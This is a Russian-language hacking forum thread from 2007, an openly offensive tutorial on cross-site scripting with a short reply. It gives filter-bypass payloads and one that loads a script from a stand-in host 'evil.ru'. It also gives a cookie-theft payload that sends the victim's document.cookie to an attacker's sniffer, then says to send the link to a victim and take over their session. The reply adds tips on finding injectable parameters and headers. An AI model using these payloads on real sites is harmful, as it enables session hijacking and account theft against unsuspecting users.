Проведение XSS

Тема в разделе "Статьи", создана пользователем Constantine, 22 май 2007.

  1. Constantine
    Constantine Guest
    INtro
    Xss- межсайтовый скриптинг, впервые о баге услышали в 1999г. Кстати, так случилось, чо это произошло приблизительно после премьеры х.ф Матрица. Поехали

    Использование

    Чтобы успешно использовать xss нужно хорошо представлять себе что такое cookie.
    Cookie это хранилище учетных данных сайта на компьютере юзера.
    Вы можете просмотреть их(и понять как они вообще выглядят) с помщью CoolieEdit ора для IE и встроенных фичей в браузере Опера и Файрфокс
    Для смены(подстановки) чужих кукисов используються они же

    Так же нужно четко понимать что xss это атака направленная не на сайт, а на пользователя
    Xss ки деляться на пассивные и активные
    Пассивные инжектируют xss вектор в сурс непосредственно с помощью специального запроса.
    Например
    Код:
    http://site.ru/search.php?result=<script>alert('xss')</script>
    Активные XSS ки отличительны тем что сохраняют вектор на стороне сервера, и их нельзя пропалить просто по средствам анализа подброшенного линка. Этот вид xss наиболее опасен
    Например
    Код:
     http://site.ru/members.php?user=4059
    запросто может оказаться заxssсенным профилем

    Стоит отметить что XSS вектор состоит из обычных тегов, так что хотя бы начальные знания ХТМЛ и яваскрипта явно не помешают!

    Проверяем сайт
    Бага очень распорстранена. Проверяем все... поля, формы, поиск, проверяем фильтрацию переменных
    Пытаемся подставить данный скрипт
    Код:
     <script>alert('xss')</script>
    Если код выполнился в браузере, то ресурс уязвим, а значит вместо alert('xss') мы можем построить атакующий вектор

    Чтобы долго необьяснять что значит вывести скрипт из тега, советую изначально составлять запрос следующим образом
    "></td><script>alert('xss');</script>
    Точка с запятой которое требует от нас синтаксис языка очень желательно

    Филтрация
    Наиболее распространенный способ фильтрации это Экаринрования кавыче(одинарной и двойной), в этом случае предеться самостоятельно сэкранировать кавычки при выходе из тега и составить конструкцию аля
    "/></td><script src=http://evil.ru/evil.js>
    где evil.js файл с вашим xss вектором

    Ещe существует метод вложенного скрипта, к примеру вот так:
    Код:
    <sc<script>ript>alert()</sc</script>ript>
    Если филтрация не на должном уровне сработает

    Самая гнилая ситуция это трасформация угловых скобок <> в &gt
    Конечно модно попробывать преобразовать код в ASCII или заюзать консрукцию
    Код:
    url= javascript:alert('xss');
    С активной ситуация точно такая же

    Переходим к карже кукисов
    Если до этого мы проводили тесты на присутсвие багов, то сейчас приступаем к активному их использованию
    Для начала нужно определиться что за куки на уязвимом сервисе и есть ли сымсл в их краже
    Код:
    http://site.ru/bug.php?p="></td><script>alert(document.cookie)</script>
    Если вы обнаружили что то похожее на сессию или хеш пароля, то хек не будет напрасным

    Состовлям вектор, который передаст куки пользователя на снифер.
    Множество хак- проектов предоставляют свои веб-сниферы, но можно и самому набрасать php скрипт, на 7 строчек ;)
    Код:
    http://site.ru/bug.php?p="></td><script>document.location="ПОЛНЫЙ АДРЕС СНИФЕРА"+document.cookie</script>
    
    Теперь остаеться только подсунуть этот линк(либо ссылку на профил, если xss была активной) жертве. Если заход по ссылке совершиться, куки предут на снифер. Останеться только подменить авторизационные данные, об этом мы говорили в самом начале.
    Хек удался

    И все?
    Многие считают что xss ограничиваеться только этим.. НЕТ! С помощью xss можно протроянить! и даже устроить ДДОС. Об этом в следующих статьях.
     
    22 май 2007
    4 пользователям это понравилось.
  2. Хел
    Хел Guest
    Хочу немного добавить на тему поиска ксс-при самом

    распространенном случае достаточно лишь увидеть

    какой параметр передающийся по http будет

    теоретически/практически выводиться на странице.

    Например, у меня часто были случаи, когда есть выбор

    буквы (на интернет магазинах), буква передается в

    урловой строке, а также выводится в хтмл коде. Но

    это лишь при самом простом раскладе-некоторые ксс

    взможны даже в http запросе, при передаче каких-либо

    полей, например HTTP_X_FORWARDED_FOR или других. Ну

    это я сказал просто чтобы новички тупо в запрос не

    вставляли код а знали как это происходит)
     
    12 июл 2007
Загрузка...